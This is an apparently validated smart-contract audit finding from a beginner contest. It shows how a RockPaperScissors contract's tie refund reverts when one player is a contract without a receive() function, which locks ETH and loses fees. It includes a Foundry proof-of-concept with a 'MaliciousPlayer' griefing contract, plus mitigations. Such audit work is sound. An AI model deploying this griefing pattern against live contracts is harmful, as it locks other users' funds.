Rock Paper Scissors
First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Refund Failure in `RockPaperScissors::_handleTie` Causes Locked Funds, Lost Admin Fees and failed Event emission.

blackgrease

Summary

When there is a tie, players are refunded their entrance ether minus the fee. If one of the refunds reverts, both refunds fail and the ether is stuck in the contract. Furthermore, there is no other way to withdraw them.

Description

The RockPaperScissors handles scenarios in games created by createGameWithEth where there may be a tie by calling RockPaperScissors::_handleTie which refunds both players - after deducting the 10% protocol fee.

The Code Issue: Root

Due to the function logic requiring both refund transactions to be successful, if one of the refunds fails, then they both fail and the ether is stuck in the contract. Further more, there is no way to withdraw any ether out ofthe contract - regardless of player or owner. When the owner withdraws the fees, the balance is removed from the accumulatedFees variable and not from the contract balance.

This root issue also creates two other issues: protocol looses fees and failed event emission

The affected area is in RockPaperScissors::_handleTie#517 :

if (game.bet > 0) {
// Calculate protocol fee (10% of total pot)
uint256 totalPot = game.bet * 2;
uint256 fee = (totalPot * PROTOCOL_FEE_PERCENT) / 100;
uint256 refundPerPlayer = (totalPot - fee) / 2;
​
// Accumulate fees for admin
accumulatedFees += fee; //@audit: Will be rolled back when the refunds revert
emit FeeCollected(_gameId, fee);
​
// Refund both players
(bool successA,) = game.playerA.call{value: refundPerPlayer}("");
(bool successB,) = game.playerB.call{value: refundPerPlayer}("");
require(successA && successB, "Transfer failed"); //@audit: Requires both transactions to be successful. If one fails, they both fail
//logic for tokens...//
// Return tokens for token games
​
// Since in a tie scenario, the total prize is split equally
emit GameFinished(_gameId, address(0), 0); //@audit: event will never be emitted
}

For example, if a game is started with a minBet of 1 ether, on a tie where one refund fails, then the total funds locked in the contract is 2 ether.

Note: This does not necessarily need to be a maliciousPlayer who exploits this to cause loss to others. A normal player may join using a smart contract where they forgot to implement a recieve() function. There may also be other reasons why a transaction may fail.

Escalation 1: Lost Admin Fees

When the refund transaction reverts, the entire _handleTie function fails resulting in the fee changes made to accumulatedFees variable to be rolled back. This means that no fees are collected for the game played. Therefore the protocols logic to still collect fees on games that end in a tie fails. The protocol is now loosing fees and has locked ether.

Escalation 2: Failed Event Emission

The event RockPaperScissors::GameFinished is expected to be emitted once a game has finished. Due to refund reverting, this event is never emitted and disrupts logging.

Impact

The impact of this vulnerability is High as it results in direct loss of user funds. The likelihood is Medium as it only happens if one of the transactions fails.

  1. Lost funds: direct loss of user funds. Users have their funds locked in the contract with no way to withdraw them. Furthermore, even the protocol cannot utilize the funds as there is no way to withdraw them out.

  2. Loss in Protocol trust: Users who have their funds lost, loose trust in the protocol as it appears to be a scam/way to steal money. This will result in bad reputation and fewer game participation.

  3. Protocol loses fees: The protocol expects to take a 10% fee on all games played. This is no longer the case when a refund fails meaning the protocol is loosing fees.

  4. Disrupted logging: any logging mechanism relying on the GameFinished event is disrupted. Even though a game has technically finished, it is not being correctly announced.

Tools Used

  • Manual Review

  • Foundry

Proof-of-Concept

To prove the existence of the vulnerability, I have provided a test suite.

Description

  • Modifier:

    • accumulateFees: This starts a game in order to accumulate fees for the owner to withdraw

  • Test function:

    • 2 players join game using contracts and play against each other (MaliciousPlayer does not have a receive() function)

    • Game ends in a draw

    • RockPaperScissors contract tries to refund but transfer to MaliciousPlayer fails causing both to fail

    • Owner calls withdrawFees to take out the accumulated fees from the first game (played via modifer)

    • Fees from the game that ended in tie are not included and owner withdraws less

    • Console logging of balances for the Contract, owner and players are shown.

      • Contract balance still has the bets placed by the players.

      • Owner has received less than the expected fee

Code

Run with: forge test --mt testRefundFailuresCausesLosses -vvv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
​
import "src/WinningToken.sol";
import "src/RockPaperScissors.sol";
import {Test, console} from "forge-std/Test.sol";
​
contract GasGriefingPlayers is Test {
RockPaperScissors game;
LegitPlayer legitPlayer;
MaliciousPlayer maliciousPlayer;
​
address owner = makeAddr("owner");
address player1 = makeAddr("player1");
address player2 = makeAddr("player2");
​
uint256 startingBalance = 10 ether;
uint256 gameOne;
​
function setUp() public {
vm.prank(owner);
game = new RockPaperScissors();
vm.stopPrank();
​
legitPlayer = new LegitPlayer(address(game));
maliciousPlayer = new MaliciousPlayer(address(game));
​
vm.deal(player1, 5 ether);
vm.deal(player2, 5 ether);
vm.deal(address(maliciousPlayer), startingBalance);
vm.deal(address(legitPlayer), startingBalance);
}
​
function _player2joinGame(uint256 _bet) internal {
vm.prank(player2);
game.joinGameWithEth{value: _bet}(gameOne);
}
​
function _player1makeMove() internal {
// Player1 commits
​
vm.prank(player1);
bytes32 saltA = keccak256(abi.encodePacked("salt for player"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Scissors), saltA));
​
game.commitMove(gameOne, commitA);
}
​
function _player2makeMove() internal {
// Player2 commits
vm.prank(player2);
bytes32 saltB = keccak256(abi.encodePacked("salt for player"));
​
bytes32 commitB = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltB));
game.commitMove(gameOne, commitB);
}
​
function _player1Reveal() internal {
vm.prank(player1);
bytes32 saltA = keccak256(abi.encodePacked("salt for player"));
​
game.revealMove(gameOne, 3, saltA);
}
​
function _player2Reveal() internal {
vm.prank(player2);
bytes32 saltB = keccak256(abi.encodePacked("salt for player"));
​
game.revealMove(gameOne, 1, saltB);
}
​
modifier accumulateFees() {
vm.startPrank(player1);
uint256 minBet = 5 ether;
uint256 turns = 1;
uint256 timeout = 6 minutes;
​
gameOne = game.createGameWithEth{value: minBet}(turns, timeout);
vm.stopPrank();
​
_player2joinGame(minBet);
​
_player2makeMove();
_player1makeMove();
_player2Reveal();
_player1Reveal();
_;
}
​
function testRefundFailuresCausesLosses() public accumulateFees {
uint256 ownerStartingBalance = address(owner).balance;
uint256 startingAccumulatedFees = game.accumulatedFees();
​
//Legit Player: Create Game
legitPlayer.createGame();
uint256 playerGameId = legitPlayer.gameId();
uint256 bet = legitPlayer.minbet();
​
//Malicious Player Joins
maliciousPlayer.joinGame(playerGameId, bet);
​
//GameStarts: Only 1 turn
legitPlayer.makeMove();
maliciousPlayer.makeMove();
maliciousPlayer.reveal();
vm.expectRevert();
legitPlayer.reveal();
​
​
//Fee Calculation
uint256 finalAccumulatedFees = game.accumulatedFees();
uint256 expectedAccumulatedFees = 3 ether; //1 ether from first game + 2 ether from second game
assert(finalAccumulatedFees != expectedAccumulatedFees);
uint256 feesLost = expectedAccumulatedFees - finalAccumulatedFees;
​
//Assert:
//Players started with 10 ether and end with 0 as neither is refunded after failed transfer
uint256 expectedBalanceLegitPlayer = 0;
uint256 actualBalanceLegitPlayer = address(legitPlayer).balance;
assertEq(expectedBalanceLegitPlayer, actualBalanceLegitPlayer);
​
uint256 expectedBalanceMaliciousPlayer = 0;
uint256 actualBalanceMaliciousPlayer = address(maliciousPlayer).balance;
assertEq(expectedBalanceMaliciousPlayer, actualBalanceMaliciousPlayer);
​
//Onwer Withdraws Fees
assertEq(game.owner(), owner);
vm.startPrank(owner);
uint256 feesToWithdraw = game.accumulatedFees();
game.withdrawFees(feesToWithdraw);
​
uint256 ownerBalance = address(owner).balance;
uint256 balanceOfGameAfterFeesWithdrawn = address(game).balance;
​
// //Logging
console.log("Previous game accumulated 1 ether in Fees. They are still in the contract In the New game, both users start with 10 ether before playing");
console.log("Owner starting balance: ", ownerStartingBalance);
console.log("Game starting accumulated fees: ", startingAccumulatedFees,"= 1 ether");
console.log("\n---AFTER FAILED REFUND---");
console.log("LegitPlayer final Balance : ", actualBalanceLegitPlayer);
console.log("MaliciousPlayer final Balance: ", actualBalanceMaliciousPlayer);
console.log("'\n--OWNER WITHDRAWS FEES FROM BOTH GAMES---");
console.log("Owner final Balance: ", ownerBalance,"= 1 ether");
console.log("Expected Owner Balance: ", expectedAccumulatedFees,"= 3 ether");
console.log("Protocol fees lost: ", feesLost,"= 2 ether;");
console.log("Funds stuck in contract: ", balanceOfGameAfterFeesWithdrawn,"= 20 ether");
}
​
receive() external payable {}
}
​
interface Igame {
function createGameWithEth(uint256 turn, uint256 timeout) external payable returns (uint256);
function timeoutJoin(uint256) external;
function joinGameWithEth(uint256) external payable;
function commitMove(uint256, bytes32) external;
function revealMove(uint256, uint8, bytes32) external;
}
​
contract MaliciousPlayer {
Igame public gameContract;
​
uint256 gameId;
uint256 bet;
​
bytes32 saltB;
​
//gasleft
uint256 public startingGas;
uint256 public endingGas;
​
constructor(address _target) {
gameContract = Igame(_target);
}
​
function joinGame(uint256 _gameId, uint256 _bet) external {
gameId = _gameId;
bet = _bet;
​
gameContract.joinGameWithEth{value: bet}(gameId);
}
​
function makeMove() external {
// Malicious Player commits
saltB = keccak256(abi.encodePacked("salt for malicious player"));
bytes32 commitB = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltB));
gameContract.commitMove(gameId, commitB);
}
​
function reveal() external {
startingGas = gasleft();
​
gameContract.revealMove(gameId, 1, saltB);
​
endingGas = gasleft();
}
​
//No Receive function
}
​
contract LegitPlayer {
Igame public gameContract;
​
uint256 public gameId;
uint256 public minbet = 10 ether;
uint256 timeout = 5 minutes;
uint256 public turns = 1;
​
bytes32 saltA;
​
//Gas
uint256 public startingGas;
uint256 public endingGas;
​
constructor(address _target) {
gameContract = Igame(_target);
}
​
//Creating Game
function createGame() external {
gameId = gameContract.createGameWithEth{value: minbet}(turns, timeout);
}
​
function makeMove() external {
// Legit Player commits
saltA = keccak256(abi.encodePacked("salt for legit player"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), saltA));
gameContract.commitMove(gameId, commitA);
}
​
function reveal() external {
startingGas = gasleft();
gameContract.revealMove(gameId, 1, saltA);
endingGas = gasleft();
}
​
//Deleting Game
function cancelGame() external {
gameContract.timeoutJoin(gameId);
}
​
receive() external payable {}
}
​

Mitigatin

To mitigate this vulnerability, the refund logic needs to be handled differently.

  1. When a refund fails, instead of reverting, an event can be emitted noting the failure.

​
(bool successA, ) = playerA.call{value: refundPerPlayer}("");
if (!successA) {
emit RefundFailed(playerA, refundPerPlayer);
} else {
emit RefundSuccessful(playerA, refundPerPlayer);
}
​
// Attempt refund to playerB
(bool successB, ) = playerB.call{value: refundPerPlayer}("");
if (!successB) {
emit RefundFailed(playerB, refundPerPlayer);
} else {
emit RefundSuccessful(playerB, refundPerPlayer);
}

  1. Alternatively, the contract should not use the "push" method. In the event a tie happens, the amount each player should be refunded should be recorded. A new function should be created allowing users to individually "pull" out their funds. Essentially using the "pull" over the "push" method.

Result: The _handleTie function now executes from start to finish successfully preventing the admin from loosing fees via rolled back changes on reverts. Furthermore, this will allow the GameFinished event to be correctly emitted.

Updates

Appeal created

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Orphaned ETH due to Unrestricted receive() or Canceled Game

ETH sent directly to the contract via the receive function or after a canceled game becomes permanently locked

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Orphaned ETH due to Unrestricted receive() or Canceled Game

ETH sent directly to the contract via the receive function or after a canceled game becomes permanently locked

blackgrease Submitter
4 months ago
m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Denial of Service (DoS) due to Unhandled External Call Revert

Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.